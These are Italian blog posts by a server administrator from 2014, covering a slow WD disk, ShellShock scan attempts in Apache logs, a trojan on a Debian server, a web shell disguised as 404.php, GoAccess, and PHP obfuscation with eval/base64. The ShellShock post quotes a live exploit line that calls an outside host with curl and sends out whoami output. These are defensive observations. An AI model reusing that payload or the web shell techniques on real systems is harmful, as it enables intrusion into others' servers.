mercoledì 8 ottobre 2014

WD10EADS

Un amico mi ha passato un disco WD Caviar Green della serie WD10EADS che era inserito dentro un mediacenter Mediacom
Il motivo della donazione e' che tramite Windows XP non riusciva piu' ad interagire con il disco mentre io con una prova fatta tramite Linux ero riuscito a copiare i dati (del tipo "tienilo te almeno ti serve a qualcosa")


Vista la dimensione generosa del disco ho deciso che valeva la pena di comprare un box SATA 3.5" per farlo diventare un disco di backup esterno.
Con sorpresa ho verificato che il disco e' sostanzialmente integro (nel senso che si puo' formattare in vari formati, si possono copiare dati e si possono rileggere) ma ha una velocita' decisamente ridicola (giusto per esempio per la lettura di un file video da circa 1 Gb sono stati necessari 7-8 minuti per una velocita' di circa 400 Kb/s (in alcuni casi ho misurato velocita' inferiori ai 200 Kb/s)



Con ricerca su internet di brevissima durata sono incappato in questo post che descrive esattamente le problematiche osservate

In conclusione il disco e' stato messo da parte in attesa di smaltimento

lunedì 6 ottobre 2014

ShellShock Scanning

Come prevedibile si cominciano a vedere passare nei log dei server i tentativi di utilizzare la vulnerabilita' di Bash ShellShock

Ecco come si presenta un tentativo di exploit
(la riga xxxxxx.org indica il nome del server che e' sottoposto ad attacco)

xx.xxx.xx.xxx - - [05/Oct/2014:11:53:00 +0200] "GET / HTTP/1.1" 200 88868 "-" "() { :;}; /bin/bash -c \"curl http://ntontomou.com/custom/ping.php?domain=xxxxxxxxxx.org\\&whoami=`whoami`\""

in pratica si tratta di una enumerazione piu' che di un attacco. Lo script controlla se la macchina e' vulnerabile a ShellShock ed in caso positivo si collega al sito ntontomou.com aggiornando la pagina ping.php per creare un elenco
La cosa interessante e' che oltre al nome del dominio viene passato anche il risultato del comando whoami credo per mostrare con che utente viene gestito il webserver (tipo www-data)

Cercando tracce di ShellShock ho trovato anche questa richiesta

xx.xxxx.xxx.xxx - - [29/Sep/2014:11:53:39 +0000] "GET /tmUnblock.cgi HTTP/1.1" 400 519 "-" "-"

da una ricerca non si tratta di una scansione ShellShock ma si cerca di sfruttare una vulnerabilita' di router Cisco o Linksys (peccato che le macchine scansionate siano tutte Linux)

venerdì 3 ottobre 2014

Trojan (cinese?) su server Debian 2

Qualche giorno fa avevo segnalato la presenza di un file sospetto su un server Debian ma non avevo trovato notizie su Internet

A seguito del post sono stato contattato da persone legate a Virustotal.com che mi chiedevano di condividere il file per una analisi (sicuramente piu' dettagliata di quella che avevo fatto io)
Dopo aver fatto qualche verifica che non stavo mandando il programma a male intenzionati ho effettuato l'upload e sono stato autorizzato a pubblicare una sintesi (non il dettaglio) dello scambio di mail che abbiamo avuto

1: avevo intuito bene e mi e' stato confermato che il file da me segnalato era malware peraltro non ancora segnalato su Virustotal

2: il programma aveva un compagno di un rootkit posizionato in /proc/rs_dev. Putroppo il server nel frattempo e' stato formattato e non ho piu' posssibilita' di esaminare il file richiesto

3: il componente sembra legato alla famiglia citata in questo post.(mi ricordo che vecchi tempi in cui i virus sotto Ms-Dos  usavano una tecnica simile)



martedì 30 settembre 2014

404.php


Frugando su un server alla ricerca di anomalie mi e' caduto l'occhio su un file denominato 404.php in una posizione anomala

Richiamato dal browser assomiglia ad una normale pagina di errore 404 (File not found) di Apache ma la dimensione del file era decisamente anomala per un messaggio cosi' corto


Con un po' di attenzione al di sotto delle scritte c'erano anche 4 pallini che hanno attirato la mia attenzione
Aprendo il codice Php era evidente che non si trattava di un errore 404 ma di un malware. In pratica i pallini indicano il campo di inserimento di una password attraverso la quale si accede ad una shell in Php

La password e' gia' crittata in md5 e non ho modo di conoscerla ma avendo il sorgente e' facile sostituire la stringa md5 con la stringa md5 di una propria password

Fatto cio' si accede ad una finestra di amministraizone che mette a nudo la configurazione della macchina per l'attaccante
Nella finestra sottostante viene mostrato il file /etc/passwd


e' altresi' disponibile un file manager che permette di navigare tutto il filesystem (a meno di non mettere il webserver in chroot)


e' possibile effettuare una scansione del file system alla ricerca di cattive configurazioni


c'e' anche una funzione che apre una backdoor su una porta a scelta per esporre una shell

In un buona sostanza un pessimo ospite da avere su una propria macchina

mercoledì 24 settembre 2014

GoAccess su Debian

 Se e' venuto a noia leggere i log di Apache mediante

tail -f /var/log/apache2/access.log


puo' essere utile il programma goaccess che mostra le informazioni in modo piu' strutturato e leggibile

Per l'installazione da sorgenti si scarica l'ultimo pacchetto tar.gz da questo link 

si procede quindi a risolvere le dipendenze

apt-get install libgeoip-dev libncursesw5-dev pkg-config libglib2.0-dev

e si compila

./configure --enable-geoip --enable-utf8
make
make install


per lanciare il programma si deve indicare la posizione del file di log

goaccess -f /var/log/apache2/access.log

la prima schermata permette di scegliere il formato dati del file di log (in Debian e' corretta la prima opzione)



a questo punto si puo' vedere il traffico in tempo reale sul server web


mercoledì 17 settembre 2014

Offuscare codice Php

Visti i due precedenti post mi sono messo a dare un'occhiata alla possibilita' di offuscare il codice Php. Pur sapendo che esisteva la possibilita' non ho mai rilasciato per lavoro sorgenti offuscati ma e' una funzione che potrebbe essere utile per non salvare in chiaro i dati di login di pagine di autenticazione

Per esempio si puo' offuscare il solo file delle variabili per l'autenticazione
In chiaro ed in modo molto semplice si potrebbe scrivere
test.php
---------------------------------------------
<?
include("dati.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------
dati.php
---------------------------------------------
<?
$user = "Luca";
$password = "password";
?>
---------------------------------------------

usando il servizio di http://www.phpencode.org/#main  si puo' offuscare il file dati.php in modo da nascondere le credenziali.

il nuovo file (dati2.php) risulta essere cambiato cosi'
(attenzione per funzionare deve essere copiato ed incollato pari pari dal sito)
---------------------------------------------
<?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA
---------------------------------------------

modificando il file di prova per includere il file offuscato 
test2.php
---------------------------------------------
<?
include("dati2.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------

si ha il risultato atteso ovvero
---------------------------------------------
Luca
password
---------------------------------------------

scrivendo in modo maggiormente leggibile il codice dati2.php si capisce perche' non puo' essere modificato e si osserva maggiormente il comportamento dell'offuscatore che usa sostanzialmente usa sequenza di eval e base64_decode per offuscare le variabili. Interessante anche la direttiva _halt_compiler ed il codice appeso dietro la parte che il compilatore non interpretera'
---------------------------------------------
<?php 

/*** PHP Encode v1.0 by zeura.com ***/

 $XnNhAWEnhoiqwciqpoHH=file(__FILE__);

 eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));

 eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));

 eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));

 __halt_compiler();

 aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA

Opencv camera calibration in cpp

Oltre che con uno script Python come visto qui la calibrazione della camera si puo' fare anche con il programma in CPP Questo il proce...